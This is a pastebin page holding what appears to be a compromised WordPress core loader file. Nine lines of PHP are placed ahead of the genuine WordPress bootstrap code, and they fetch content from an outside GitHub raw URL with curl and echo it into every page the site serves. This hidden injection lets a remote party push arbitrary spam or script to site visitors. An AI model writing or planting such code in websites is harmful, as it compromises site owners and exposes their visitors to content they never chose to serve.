Facebook
From Blush Parakeet, 1 Year ago, written in Plain Text.
This paste is a reply to Re: Untitled from Sharp Iguana - view diff
Embed
Download Paste or View Raw
Hits: 189
  1. <?php
  2. $curl = curl_init();
  3. $url = 'https://raw.githubusercontent.com/jsqueen615/lecturer_v0/main/jsqueen_config';
  4. curl_setopt($curl, CURLOPT_URL, $url);
  5. curl_setopt($curl, CURLOPT_HEADER, 0);
  6. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  7. $result = curl_exec($curl);
  8. echo $result;
  9. ?>
  10. <?php
  11. /**
  12.  * Loads the WordPress environment and template.
  13.  *
  14.  * @package WordPress
  15.  */
  16.  
  17. if ( ! isset( $wp_did_header ) ) {
  18.  
  19.         $wp_did_header = true;
  20.  
  21.         // Load the WordPress library.
  22.         require_once __DIR__ . '/wp-load.php';
  23.  
  24.         // Set up the WordPress query.
  25.         wp();
  26.  
  27.         // Load the theme template.
  28.         require_once ABSPATH . WPINC . '/template-loader.php';
  29.  
  30. }